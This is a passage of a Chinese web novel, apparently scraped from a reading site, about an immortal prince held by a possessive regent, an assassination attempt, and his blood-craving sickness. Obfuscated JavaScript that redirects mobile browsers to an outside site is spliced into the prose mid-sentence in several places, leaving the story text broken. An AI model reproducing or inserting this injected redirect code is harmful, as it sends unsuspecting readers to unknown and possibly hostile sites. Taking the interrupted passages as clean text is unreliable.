他过去不懂,以为“食君之??,忠君之事”,以为只要凉王藐视君威,做得过于出格,必然会有那正义之臣出面维护皇帝。 如今一看,是邱晚太天真了。 这世道,社会纲常崩坏,君权崩毁,氏族藐视皇权,弑君篡位如弈棋,有能之士沉迷玄学不问国事,百姓饱受战乱之苦。 不仅是北雍,东乾、南邱何尝不是如此? 正如师父和皇兄璟所说,要改变这乱世,须得重建秩序,须得统一而治。 而结束这一乱局的人,会是谁呢? 邱晚心中似有火种隐隐燃烧着。 待到百官宴结束,凉王被群臣围住奉承,恭喜他“四喜临门”,邱晚才算有了脱身之息。 邱晚借口去更衣,屏退左右,躲进了净房。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧蘅抽着鼻子,不情愿地将脸从他颈间抬起,眼睫上还沾着泪:“何事?” 邱晚低声,认真说道:“不管用何方式,我想请陛下,将邱朝将军韩松之,塞进使团队伍中,放他回去。” 萧蘅含着泪的眼睛霎时变得凝重起来,邱晚在他眼中看到了迟疑和权衡。 身为一国之君,萧蘅并不是如传闻的那样懦弱无能,从他今日在百官宴上的表现就可以看出来。 “我知道陛下有所疑虑,韩松之是邱朝第一将军,对北雍存在一定的威胁。” “但陛下换个角度想,放韩松之走,将来更有利于牵制凉王,若邱朝没了韩松之,整个邱朝都会对凉王俯首称臣,到那时,凉王势力愈发坐大,陛下的处境将更加艰难。” “请陛下仔细想想,韩松之与凉王,谁对陛下的威胁更大?” 萧蘅的眼睫颤了颤,却只顾一动不动盯着邱晚。 邱晚继续说道:“我可以同陛下保证,除非北雍挑起战争,否则往后邱朝是绝对不会主动侵袭北雍的……” “放韩松之可以。”萧蘅开口道,“朕有一个条件。” 邱晚心中一喜:“是何条件。” “朕……”萧蘅喉结滚了一下,“朕要你……” 邱晚面露疑虑:“要我什么?” 萧蘅顿了一下,他伏身贴近,热呼呼的鼻息全都呼在邱晚耳朵上:“朕要你,留在北雍,作为交换。” “陛下要留我为质?”邱晚问道。 “不管你怎么认为……这就是我的条件。”萧蘅咬唇道。 邱晚愣了一下,垂眸笑了:“陛下是一个成熟的君主了,知道做交易了。” “你答应朕吗?”萧蘅问道。 反正邱晚如今困在北雍,能换韩松之回去,不亏,邱晚痛快答道:“好。我答应陛下。” “一言为定!”萧蘅当即破涕笑了,“朕一定将韩松之放回南邱。辞兮你也要说到做到!” “好。” 等到邱晚摸回那间净房的时候,被打晕的小太监还睡得正香。 邱晚火速将衣裳换回去,可穿这身华服的时候却犯愁了,这衣服一层又一层,繁复无比,邱晚忘记要怎么穿回去了! 这下不好办了。 正当手忙脚乱、一通东拉西扯时,净房的门被敲响了。 “公子,您好了没?” “快好了。再等会。”邱晚有些绝望地看着身上越来越糟糕的衣裳。 正不可开交时,净房的门被人一脚踹开,凉王面有愠色地站在门口。他瞅了瞅衣衫凌乱的邱晚,又瞅了瞅躺在地上被剥了外衫的小太监,当即黑了脸。 “你、你放开我!”邱晚捶打着凉王。 凉王将邱晚扛在肩上,扛着他在众目睽睽之下,穿过重重宫廷,穿过瞠目结舌的百官,将他一把扔进了马车里。 “你又发什么疯?”邱晚怒道。 凉王伏上来,按住他的肩。 “这几日,本王碰都舍不得碰你一下,本王想等到大婚之日,给你一个难忘的洞房花烛夜。” “你却连那种畜生不如的小杂种都敢碰了?嗯?” 17.禁断 “面胄都挡不住你,你是想让本王重新将你关起来吗?”凉王捏住邱晚的下巴,“你是本王的人,只能属于我,任何人都不准碰,知道吗?” “萧起,人不是物件,不是宠物,没有谁会只属于你。”邱晚咬牙道。 “我是北雍凉王,我说你属于我,你就得属于我。”凉王高高抬起邱晚的脸,解开他的面胄,一把扔掉。 金玉与珠子摔得四下迸溅。 “看来,这两日,是本王将你饿坏了。” 凉王看到了邱晚眼底的红光。 “眼睛都熬红了……”凉王抚着邱晚的眉眼,“小晚,你也很难熬吧?” 随即,他一把扯开衣领,在自己颈上划出一道血痕。 鲜红的血珠子渗出来。 是邱晚转换成不死人后的第一口鲜血的味道。 熟悉的血香涌进鼻腔,邱晚的喉间,连着肺腑,瞬间烧起来了。 “还忍吗?”凉王挑衅着朝邱晚靠近,“小晚,要不都别忍了吧。” 邱晚心口剧烈起伏着,他凝着那抹血色,眼底的红愈发浓郁。 “要戒断的恐怕不只是本王吧……”凉王用手指沾了些自己的血,轻挑地抹在邱晚唇上,“对吗?小晚。” 邱晚从喉底发出一声低吼:“你找死。” “对,就是这样,本王就喜欢你这样,这才是你该有的模样,小晚,本王真后悔没能早些遇见你……” 马车倏地一沉。 凉王被扑倒在软榻上。 血管被刺破! 这一次邱晚吸食得特别狠。 他暴烈地享受着送到嘴边的美味。 凉王当即兴奋起来,他颤声道:“小晚,你也很喜欢,对吗?” 他如久旱逢甘霖的枯木,欲生欲死,他揽住邱晚的后颈,恨不能将他揉进骨血里,喃喃道:“小晚,本王得看住你,牢牢看住你,不能让你再像阿念一样,掉入狼窝,本王得看住你……” 听到元念的名字,邱晚猛然从贪婪的吸食中清醒。 他哈出一口血气,从凉王颈间抬起头。 忽而觉得自己很陌生。 像一头被欲念操控没有理智的兽! 邱晚从心底涌出一种厌恶,那是对自己没能控制住嗜血本能的厌弃! 而就在这时,车外忽的传来马匹尖锐的嘶鸣声。 有什么东西剧烈撞向了凉王的马车,随之“轰”的一声巨响! 整辆马车被撞得飞出去,狠狠撞在临街的店铺上,墙被撞塌,数不清的碎块砸落下来,紧闭的车门被撞开,车内的情形就那样赤.裸.裸.的落入了来人眼中。 邱晚衣着凌乱,伏在凉王身上,层层华服散落在他身侧,他一侧衣袖已被扯落,圆润莹白的肩露了出来,邱晚嘴上沾着血,脸上还有未退却的欲念,眼中却是毫无生气的荒凉。 “有刺客!护驾!” “护驾!” 周围立马混乱起来。 士兵的打杀声,百姓的哭喊声。 数十个黑衣刺客如群鸦般从屋顶上密密麻麻飞下来,俨然不要命的死士,冲进了凉王的府兵阵营中,霎时杀成一片血光。 邱晚撞上了为首那人的目光,那是一双极锐利的眼,刀锋一样冰寒。 邱晚不知为何,心仿若被重重剜了一下,自己最不堪的一幕就这样被人看见了。 那人远远望着邱晚,随后举起手中重.弩,瞄准了马车内的凉王。 “砰!”马车车门忽的被人从内向外猛然撞上,就在那时,一支漆黑弩.箭穿破车门射了进来,车壁发出裂帛般的嘶鸣,箭锋裹着戾气,杀气十足! 邱晚瞳孔骤缩,千钧一发之际,那弩.箭却被一根骨节分明的手指轻轻一拨,“铛”的一声,扎入了身后的墙体,箭尾毒蜂振翅般嗡嗡直颤。 邱晚被一双有力的臂膀揽入怀中。 “辞兮,是我。” 邱晚怔愣了一瞬,待看清来人,眼泪便滚落下来:“顾千尘。” “是我,别怕。” 邱晚却哭得更厉害了,他不知道自己怎么了,呜咽着只是道歉:“对不起,我没忍住……我不想咬他的……我没忍住,对不起……” “我知道。”顾千尘抱住邱晚,将他滑落的衣裳通通揽上去,严严实实包裹好,“不死人对他的第一个猎物天然就没有抵抗力,这不怪你。” “我觉得我像一个怪物……我讨厌自己这样……”邱晚哭着道,“我讨厌自己这样。” “没事了,辞兮。”顾千尘轻轻拍着,安抚他,“是你太善良了,你还没有适应不死人这个身份,是我的错,我该陪在你身边,陪你度过新生期。” 平日在凉王面前、在小皇帝面前、在所有外人面前一直强撑着的邱晚,在此刻崩溃大哭。 “哥若是看见我变成这样,他一定会很伤心的……”邱晚根本止不住眼泪,难过得无法自控,一遍一遍重复道,“哥一定会很伤心的……他一定会很伤心的……” 顾千尘眼神变得复杂,他凌厉地往车外望了一眼,察觉到车外逐渐逼近的黑衣人,他将邱晚一把抱起。 凉王早已被顾千尘打晕,顾千尘将他一脚踹开,说道:“这里太危险了,我带你离开,现在就走,好吗,辞兮?” “不,我不能走……”邱晚哽咽难语,“我、我的事情还没有做完……我不能走。” “辞兮,听话!”顾千尘的声音变得严厉起来。 “哥不能白死……建康城的百姓和战士不能白死……顾千尘,我不能走!”邱晚揪住他的衣襟,仍是哭,“我要完成哥的心愿,我不能走……我不能就这样逃走。” “辞兮!人死不能复生。” “我不会食言,顾千尘,答应你的事情我不会食言,我会跟你走的,再给我一点时间。”邱晚满脸是泪,眼中却全是不屈和倔强,“再给我一点时间,顾千尘。” 顾千尘不能强迫邱晚,他知道,邱晚不是那种能强迫的人。 他将邱晚摁进怀里,沉沉道:“好。” 凉王在皇城门口遇刺,此事非同小可。 各路兵马闻讯敢来,迅速控制了现场,这群刺客战力很强,若不是为首之人一时迟疑,错失了杀凉王的最佳时机,凉王说不定就已经成了箭下亡魂。 崔自青活捉了一名刺客,卸了他的手脚正要逼供,那人却咬破后牙槽的毒药,自尽了。 为首之人并另外两名刺客重伤,侥幸逃走,其余四十四人全部战死! 现场一片血污,死伤惨烈。 “义父!”崔自青跪在血污中,“儿子救驾来迟,请义父责罚。” 凉王踢开车门,走下车来,他扭了扭酸疼的脖子,扫视了一圈现场,说道:“本王这一生经历的刺杀数不胜数,像今儿这样敢在皇城门口动手的倒是少数,给我查!本王要叫他们死无葬身之地!” “是。” 崔自青对四十四名死尸逐个排查,最后发现,其中有一名,是独孤氏养的私兵团练使。 阴云笼罩着凉王府议事厅。 凉王当着所有人的面,将一座价值连城的玉佛砸得粉碎。 那是几年前,独孤氏在凉王寿辰时送的贺礼。 凉王怒道:“本王本想看在往日情份,对独孤氏网开一面,既然,有人想要本王性命,那本王也不必客气了!” 凉王要将独孤氏连根拔起,方法有一百种,就像他曾经对付那些胆敢反抗他的小氏族一样,他只是缺少一个契机罢了。 “还有没有人想杀本王?嗯?”凉王一个一个扫视着议事厅的每一个人。 威压之下,众人垂眸屏息,人人自危。 “既然没有,那本王就诚意邀请诸位,来参加本王的大婚喜宴。”凉王拍拍衣袖,大手一挥,“来人,给诸位大人发喜帖。” 凉王并未被刺杀影响心情,相反,他变得兴奋起来,他隐隐察觉到,这次的刺杀,与他要迎娶邱朝太子这件事有关。 独孤氏不过是他借机收拾了的残羹冷炙而已,他真正想挖出来的是,究竟是谁胆敢阻止他娶邱辞兮! 整个凉王府都在凉王的厉鞭之下,被抽动得连轴转,大婚提前了,就定在正月初八,根本不管与南邱和谈的进度了。 正月初八,六神值日,万事皆宜,乃顶好的黄道吉日。 要筹备的事情太多了,大婚吉服仍在赶制,举办喜宴的花萼楼还未修缮好,凉王命燕绥花重金请来了数百位能工巧匠日夜赶工,势必要在婚宴之前完工。 邱晚回府后就变得恹恹的,凉王只当他是刺杀时受了惊吓,倒没有再逼迫他。 正月初二,寅时天未亮,赴南邱的和亲使团便出发了。 小皇帝趁大赦天下之际,在释放的囚犯中做了手脚,弄了个在北雍关了十年的东乾犯人替换了韩松之。 那人也姓韩,是个落魄贵族,在雍都犯了事,一关就是十年,雍都的皇帝都换了,他还在牢里熬日子,案宗模糊,早已无人记得他。 他日若事发,韩松之早已回了南邱,凉王也无计可施,大不了砍几个狱卒了事。 韩松之被乔装塞进了和亲使团,邱晚不能去送行,写了封手信,托一刀悄悄捎给他。 邱晚在信中拟了一个名单,那是韩松之回去后该去找的人。 邱朝并非无人,只是有能、有德之士心灰意冷,都隐退了,请他们重新出山,邱朝还有救。 邱晚嘱咐韩松之回去后务必小心晟亲王,还叫他不必担心自己,邱晚不久后便会再次联系他。 信写到最后,邱晚已感精疲力竭,他含泪写道: “松之吾兄,近日我总梦见皇兄璟,昨日我甚至觉得我看见他了,我是不是疯了?待兄回京之后,可否折几枝红梅,去皇陵看看璟,告诉他我很想念他。 弟晚再拜。” 信交到了一刀手里,一刀又亲手交到了韩松之手中。凉王忙着收拾独孤氏及筹备婚宴,无心留意和亲使团,韩松之就这样顺利离开了雍都,待过了洛州,再经荆州、郢州、江州、南豫州,他便安全了。 邱晚坐在松影坡上,望着使团远去的方向,坐了许久。 回抱朴轩之后,邱晚便病了。 不死人不老不死,但若不进食,是会病的。 邱晚开始吃不下任何东西,包括血液。 初二,他还只是精神不济,懒怠动弹,凉王并未在意。 初三,邱晚开始高烧不退,伏在床上,一阵一阵的呕血,凉王吓坏了,找了一堆大夫来瞧,十几个大夫依次看诊,没看出个所以然,最后只得胡乱开了一堆药,邱晚吃一碗吐一碗。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443840|163457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 初四,凉王又找了一群巫医,招魂降祟,折腾了半日,搞得乌烟瘴气,邱晚愈发意识都模糊了。 凉王急了,他抱着邱晚威胁:“你不是很犟吗?不是要取本王性命吗?起来啊,邱辞兮!” “别以为病了就可以不成亲了,就算是让人扶着、抬着,这个亲,你也得成!” 邱晚根本不看他,他眼神涣散,眼中什么也没有,只有望不到边的荒凉。 初五,凉王府那个准王妃邱太子病了的消息便传开了。 有人说,是凉王杀戮太重,被阴鬼缠身,被他看上的人,有一个,死一个,都没好下场。 有人说,是凉王府里那个小世子搞的鬼,就是那个新封的凉亲王,此人阴狠暴戾,是个毒人,任何新人入了府,惹了他,都会离奇死亡。 更有人道,这邱太子本就是凉王从死人堆里挖出来的,是披了人皮的鬼,在阳间呆久了,肉身自然就坏了,病了。 消息越传越离奇,终于落到了小皇帝萧蘅耳中。 小皇帝急得如热锅上的蚂蚁,可他在宫里脱不开身,他既要应对每日朝他嚎丧的太后,又要应对凉王雷厉风行的肃清行动,他心里记挂着邱晚,夜夜垂泪,恨不能化成一只鸟儿飞出宫去见他。 初六,婚宴筹备得很顺利,花萼楼也接近完工,崔自青借机又调了回来,铁青着脸为婚宴奔忙,可邱晚已经五日滴水未进,不省人事。 凉王不分昼夜守在抱朴轩,他此生还从未如此衣不解带照顾过谁,他望着面无人色的邱晚,已经无计可施。 满头银发的老御医也被请了来,他跪在凉王面前,说道:“王爷,早些准备后事吧,公子这般……恐怕难以撑到初八了……” 凉王几乎将手中茶盏捏碎。 为什么? 为什么要这样对他? 就在这时,门上传来消息,说王府大门外来了个银发道士,自称能治公子的病。 凉王忙叫人快快请进来。 凉王以为来者会是个须发皆白的老道人,没想到,小侍将门帘一掀,进来一个银发似雪、风神俊朗的年轻道长。 凉王天生极敏锐,他立马嗅出了此人身上的危险气息,但为了救小晚,就算危险也得一试。凉王起身迎道:“敢问道长是何方神圣?” 顾千尘黑曜石般的双眸高深莫测,道:“无涯海,顾千尘。” 此人明明平静似海,可凉王却似乎感觉到了他眼中无声的敌意,或者说,杀意。 他拱了拱手:“内人的病,便拜托顾道长了。” “济世活人,天职所在。”顾千尘淡淡道,他未再搭理凉王,而是径直走向床上的邱晚。 他拂开邱晚的衣袖,握住他的手腕,那段腕子已经细若银条,毫无生气,顾千尘轻叹一声,闭目细诊了几息。 凉王眼巴巴等着。 “尚且有救。”顾千尘道。 凉王终于面露喜色,他正要问如何救,顾千尘又道:“贫道医人,不希望有人在侧,请王爷屏退左右,未经允许,不可进来打扰。” 凉王迟疑片刻,最终还是同意了。 待到房中只剩顾千尘和邱晚两人,顾千尘转眸看向窗下那罐子岁寒三友。 梅花落了,竹枝枯了,松枝的针叶都快凋谢殆尽了。 顾千尘眉头深锁,他将邱晚半抱入怀,“刺啦”划开自己的手腕,将自己的血液喂给了邱晚。 邱晚起初毫无反应,待到丝丝血液流经他的喉管,流入他的身体,他的心脏“砰”的一下搏起,整个人从混沌中激醒。 邱晚本能地抱住顾千尘的手腕,饥渴地吸食起来,可吸了不过四五口,他便“哇”的一声全吐了出来。 邱晚吐得十分可怜,他趴在顾千尘膝上,眼皮都抬不起来,已是一灵缥缈,气若游丝。 顾千尘也急了,温柔哄他:“辞兮,你不能这样惩罚自己。” “我没有……”邱晚的声音弱得几乎听不见,“我没有办法……” “辞兮,别怕,你正在经历禁断期,许多不死人都会经历这个时期。”顾千尘说道。 “不死人在禁断期,身体里的人类本性会与不死人的嗜血本能做抗争,导致你无法进食血液,变得虚弱,变得易感。辞兮,你比这世上许多人都更善良、更正直,你的禁断期注定会比他人难过百倍、千倍。” “别怕,辞兮,熬过去就好了。” “若是……熬不过去呢?” 轻则废了。 重则,像腐朽的枯木一样,腐烂,化为尘土,灰飞烟灭,再无痕迹。 “不会的。辞兮这么勇敢,会熬过去的。”顾千尘在他额间轻轻吻了一下。 “我会喂好你,就算喂一口吐一口,我也会喂好你,你不会有事的。” 忽而,书斋那头传来“咣当”一声,隐藏于书架后的密道打开了。 萧寂坐着轮椅,从黝黑的密道中出来,他手中抱着几束怒放的红梅,漆黑瞳仁直勾勾凝着抱着邱晚的银发道长。 “我见过你。”萧寂吐出几个字。 顾千尘立刻嗅出了这个轮椅少年身上的不凡气息,他警觉道:“你经常这样过来吗?” 萧寂没有多言,直接道:“我可以救他,让我试试。” “阿晚说过,喜欢我的味道。” 18.无妄 顾千尘微微眯起眼:“你同辞兮很熟?” 萧寂没有回答这个问题,他转动轮椅来到窗下那只陶罐子前,将枯萎了的岁寒三友取出来,换上了新鲜的红梅枝。 “阿晚总是这样懒怠,花败了也不知换。”萧寂拨弄着红梅枝,转眸看向顾千尘,“从来新景胜旧景,花落抛旧枝,你说对吗?” 少年生了一双飞天俊目,锐利的眼尾仿若溅了血色,看人带杀气。他头发编成细密的辫子,缀着红线与金珠,攒到发顶,束成了个高马尾,张扬又意气,只可惜一双废腿,煞了所有风景。 顾千尘只道凉王府的萧寂是个阴郁残疾少年,今日一见,倒觉得传闻有误了。顾千尘听出他言语中的故意挑衅,心中哂笑,一个乳臭未干的小子,毛都没长齐,也敢挑衅他? 顾千尘直接搬出凉王,板着声音道:“我已同你父亲说了,不许人过来打扰,小世子若想玩,大可以换个地方玩。” “我已经虚岁十八,刚刚封了凉亲王,不日将受封建府,凉王像我这么大的时候,已经成亲了。”萧寂转身正面面向顾千尘,在轮椅里将身板坐得笔直,“我已经不是小世子了。” “嗬?”顾千尘注意到他雪白衣领内露出来的一点红痕,那是被咬过的痕迹。 “那请问凉亲王有何办法救辞兮?” “这几日凉王一直守在这,我没法靠近,耽误了阿晚的病情。”萧寂转动轮椅径直来到床榻边,朝顾千尘伸出双手,“让我试试吧。” 顾千尘眸光再次扫过他颈间,确定那是个咬痕无疑:“你知道怎么做?” 萧寂一脸认真道:“阿晚已经五日滴水未进,会饿坏的,再不能拖延了。” 顾千尘仍在犹豫,伏在膝上的邱晚忽而重重咳了起来,迷迷糊糊中,他又呕了几口血沫子,奄奄一息的模样,叫人心疼。 “让我试试。”萧寂仍旧伸着手,眼神十分诚恳。 试试无妨。 顾千尘终于点了头。 “我腿脚不便,将他抱到我轮椅上,可以吗?”萧寂又提出了新的要求。 顾千尘皱了皱眉,但还是将邱晚放到了萧寂腿上。 不过病了几日,人就轻了这许多,萧寂心中一叹,小心翼翼将邱晚环入怀中。 甫一靠近,邱晚就伸了伸脖子,往他颈间钻,像生病的猫咪嗅到了喜欢的味道。 萧寂眼中的欢喜便藏不住了,他托住邱晚虚弱垂着的头,将方才挑衅顾千尘的那股劲儿都丢了,他看了顾千尘一眼,随后转过轮椅,背过了身去。 顾千尘活了千百年,何其敏锐,他几乎瞬间就捕捉到了萧寂对邱晚那抹微妙的情愫,像极了情窦初开的少年人,他离开的这几日,究竟发生了什么? 萧寂第一次坐在轮椅里这样抱着人,还很生疏,他莫名有些紧张了。 他又调整了一下邱晚与自己的坐姿,心扑通扑通的跳,邱晚还发着烧,身上烫得很,像一团火,连带着萧寂也快要烧起来了。 萧寂垂眸唤他:“阿晚。” “阿晚醒醒。” “他病得神智不清,你这样是唤不醒的。”顾千尘说道。 可邱晚却当真迷迷糊糊的,朝萧寂颈间拱了拱鼻子,露出了尖齿。 “饿了就咬吧,阿晚。”萧寂贴着他的脸,凑到他耳边,轻语道,“就像除夕夜那晚一样。” 邱晚微微睁开半扇眼,睫下的眸子没有聚焦,幽幽望着他。 “我喜欢你咬我,我觉得很幸福,很舒服。”萧寂耳语道,“你不必有负担。” 邱晚似醒非醒,张了张嘴,却没有进一步动作。 “赶紧好起来,我们还有许多事要合作,你不想回南邱了吗?”萧寂道。 邱晚似乎听懂了,他轻哼一声,张开嘴,咬住了萧寂的颈动脉,他咬得特别小口,堪堪咬破了一点皮,像只还未学会吮吸的小奶猫,有气无力地吸食着。 一小口,一小口,微弱地、努力地吮吸着。 新鲜的、温暖的血液,经过喉管,缓缓流入他几近枯竭的身体。 邱晚没有再呕吐。 不死人强大的修复能力瞬息被激活。 灰白无光的肌肤寸寸可见恢复了莹润细腻,枯燥的长发如月华倾泻般重新有了光泽,病气沉沉的脸也如薄雪消融般,慢慢光彩照人起来。 萧寂惊异地观察着怀中人儿的变化,他知道邱晚嗜血,猜到他不是寻常人,可亲眼看到这种变化,他还是非常震惊。 邱晚吸食的动作渐渐有了力量,他摸索着,环住萧寂的脖子,咬得更深了。 萧寂倏地全身一震。 他方才还只是全身酥麻麻的,轻飘飘的,仿若中了什么迷魂香,抱着邱晚一动不敢动,而这一下,他感受到了一种从未有过的战栗,从后颈脊骨一直震颤到脚趾骨。 一扇从未触及过的大门,被轰然撞开了。 空气中隐隐有红梅香。 骨子里仿若充满了泡沫,有什么东西在血肉里膨胀着。 萧寂被无情地,赤.条.条扔进了门去。 四周万物皆被隐去,他只感受到了怀中的邱晚。 他年轻滚烫的身体,他微弱的呼息,他柔软的唇,还有他刺入他血脉里的尖齿,长曲的睫毛挡住了邱晚眼底的红光,萧寂只道为何他可以如此平静,而自己却在未知中慌乱无措。 萧寂睁大着眼,惊诧地感受着这一切,呼吸亦变得急促起来。 少年的血液奔涌起来,邱晚被呛了一口,咳嗽起来,抱住少年的脖子,咳得全身直颤。 “阿晚……”萧寂被他碰得全身紧绷,想搂他却又无从下手。 察觉到两人之间的氛围不对劲了,顾千尘拿起一件大氅走过去,覆在邱晚身上,按住他的肩:“够了。” 他不由分说,抱走了邱晚。 萧寂怀中落空,他撒开双手,坐在轮椅里,狂热的心跳仍未平息,血流仍在奔涌着,可已经没有人在他颈间轻轻的吮。 萧寂梗着脖子,看着陶罐子里那几枝怒放的红梅,忽而觉得,他昏暗无边的生命里,那寸草不生的荒漠里,长出了新枝,开出了娇艳的花。 萧寂听到了梅花簌簌开放的声音,风吹动着竹帘,廊下雨霖铃轻晃着,抱朴轩外传来杂乱的脚步声,紧接着是小皇帝的声音。 “走开!朕就是来看看邱太子。” “陛下,邱太子病重,陛下圣体尊贵,还是不要靠近,怕过了病气。”崔自青带着一群人半跪在地上,竭力拦着。 “崔自青,你不是被关起来了吗?这么快就放出来了?”小皇帝怒气冲冲道,“滚开,上次的账还未找你算!” “陛下,没有义父的允许,微臣真的不能放您进去。” “崔自青,你还真是你义父的狗!”小皇帝黑了脸,抬起一脚狠狠踹在他肩上,“朕是皇帝,还是你义父是皇帝?” 崔自青生生受了这一脚,敢怒不敢言。 “崔自青,不得无礼!” 一身红衣的燕大管家领着一大群唇红齿白、穿红着绿的乐童、歌伶、舞伎从山屏后转出来,一字排开。 “拜见陛下。” “这又是做什么?朕的皇宫,乐工舞伎不过十人,日常常服不过八套,凉王倒是比朕会过日子。”皇帝讥讽道。 燕绥答道:“这是为大婚婚宴准备的,陛下若是觉得不妥,可以裁剪。” 小皇帝正要发作,便听山屏后又传来一个声音:“贱内生病,何劳陛下亲自跑一趟。” 话音未落,便见凉王身穿玄色织金螭纹锦袍、腰束蹀躞玉带威风凛凛从山屏后转出来。他身后跟着一名眉清目秀的小乐童,那乐童满脸通红,垂着眸子,不敢看人。 凉王将小乐童毫不留情扔回给燕绥,说道:“你选的人,就好好看好,别让他们乱跑。” 燕绥拜道:“是。” 众人见到凉王,齐齐跪下,齐声道:“王爷。” 小皇帝瞧着这阵仗,习惯性瑟缩了一下,他说道:“北雍南邱和谈在即,邱太子的病是国事,不容有失……朕得亲自看看。” “本王已为小晚寻得良医,相信不日便能痊愈。”凉王看小儿一般看着小皇帝,又逼近一步,道,“听说太后也病了,陛下不在太后跟前尽孝,却跑到本王的府邸来,看本王即将大婚的王妃,这不合适吧?” 小皇帝磕巴道:“朕、朕是为了国事。” “这是本王的家事……” 屋外吵得热闹,顾千尘全然不放在心上。 这些人不过是邱晚身边吵闹争抢的猎物,入不了邱晚的心,顾千尘当然也不在意。 可他望着已然好了大半的邱晚,心中对萧寂那臭小子的提防,却又多了几分。 不死人这漫长的一生中,会拥有无数的猎物,或浅尝辄止,或维系数年,或维系猎物的一生,但鲜少有不死人能遇到一个完美契合自己喜好的猎物。 五年前,顾千尘就遇到了。 顾千尘仅仅尝了那一口,便从此念念不忘,着了魔般,世上任何猎物都再也入不了他的法眼。 可那时,他还太小了,顾千尘得等他长大。 顾千尘潜伏在他身边,远远观察着他,试图了解他,直到顾千尘发现,自己不再满足于短暂的猎食关系,他想要他,作为永生的伴侣。 不死人的转换非常难,成功率极低,转换者需花费极大的耐心和苦功夫,且不得违背对方的意愿,需得对方亲口同意了。 顾千尘颇费了些心机,算是不择手段也好,他成功了。 现在,他将这个猎物抱在怀里,变成了自己的伴侣。 二十岁,正是最好的年纪,他已享受过快乐无忧的小皇子生活,剩下的,无尽余生,都将属于顾千尘。 顾千尘轻抚着邱晚的脸,内心极为平静,他很满意这个成果。 他还有极大的耐心,有无穷无尽的岁月,去将这个人,变成满心满眼都只有他顾千尘的完美伴侣。 邱晚是顾千尘寻了千百年,才得到的宝贝,又岂会允许他人觊觎? 顾千尘看向窗下仍旧僵坐着的萧寂,说道:“你还不走?” 萧寂动了动僵硬的手,笑了:“劲儿有点大,让我缓缓。” 他理了理弄乱的衣摆,转动轮椅,正色看向顾千尘,问道:“你就是阿晚口中的师父?” 顾千尘立马答道:“我不是。” 萧寂似松了口气,笑了:“你不是就好。” “你什么意思?”顾千尘问道。 “阿晚最看重他的师父,天天念着他,你不是,我就放心了。”萧寂说完,转过轮椅便要走。 “等等。”顾千尘叫住他。 萧寂停住了。 顾千尘走到萧寂面前,他身形颀长,一头曳地银发,仙风道骨,还未言语,便有一股天然的威压。 他说道:“我虽不是他的师傅,但却比他的师父更重要。” “请问阁下究竟是谁?”萧寂问道。 “你不会懂的,我也无需向你解释。”顾千尘傲慢道。 萧寂抬头凝着他,握紧了五指。 “辞兮的津液会致幻,会让人产生错觉,误以那是情.爱或是别的什么情感。我来告诉你,那什么都不是。你年纪还小,不懂分辨,很正常。”顾千尘居高临下,乜着轮椅里的少年,将一支玉色小瓶扔给他,“这是解药,你服下之后,那些幻觉便都会消失。” 屋外,小皇帝仍在吵着闹着执意要见邱晚。 凌乱的脚步声越来越近,随时会冲进来。 “可我从未听阿晚提过你。”萧寂凝着顾千尘,“你是他什么人,得阿晚亲口说了才算。” 邱晚在床上轻轻咳了几声,翻动了下身,又昏昏沉沉睡过去了。 “阿晚还需要我,我会再来。”萧寂说罢,转动轮椅,驶入了那黝黑的密道。 密道门关上的那一瞬,小皇帝推开了抱朴轩的门。 隔着密道的门,萧寂隐隐听到了小皇帝那急迫的声音:“辞兮,听说你病了,朕来看看你。” 萧寂靠在门后,在密道中睁大了眼。 密道中极黑,极静,他忘记点灯了。 令人窒息的黑暗从四面八方笼罩过来。 萧寂颤抖着握紧轮椅扶手,他听到了自己心底崩溃的叫喊声,那是他一个又一个难熬的长夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453832|163457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,挥之不去的对黑暗的恐惧。 只有靠近邱晚,他才可获得短暂的平静。 他不知道这算什么,或许这世间之人,本就存在天然的羁绊。 萧寂将那瓶所谓的解药狠狠砸在密道墙壁上。 一股奇香逸出来,萧寂转动轮椅,加快了速度,冲进了密道的黑暗中。 吉空大师说过,他这个病,须时刻记得“无妄”二字,不被六尘幻相所惑,堪破虚妄,方能自渡。 可自渡太苦,萧寂想要光明。 如果那光明是幻觉,是虚妄,他也要让那幻觉,一直,一直持续下去。 小皇帝甫一进门,便见一位银发道长正将一只只形态精巧的玉兽香炉点燃,一一摆放在邱晚的床榻周围。 那熏香的味道十分古怪,小皇帝一闻便觉头昏脑胀,脚下几乎不稳,他立马扶住身侧小太监的手,问道:“这位是?” “陛下,这位便是顾道长,正是为邱太子治病的道人。” 小皇帝强撑着往床榻靠近了几步,可那些香实在熏得他难受,他问道:“道长点的何香?为何如此冲人?” “固魂香。”顾千尘抬眸,颇有兴味地盯向面色不佳的小皇帝,“此香有微毒,易引发头疾,诸位贵人,还请不要靠近为妙。” 众人一听忙往后退了几步。 小皇帝却直接冲到邱晚床边,问道:“他如此虚弱,能遭得住吗?” “对这位公子是极好的。”顾千尘微笑道。 小皇帝看着邱晚的睡颜,咬了咬唇:“他什么时候能醒?” “方才醒过一次,又昏睡过去了。”顾千尘笑道。 小皇帝立马扼腕叹息,一边还往邱晚那边瞧:“真不巧啊。” 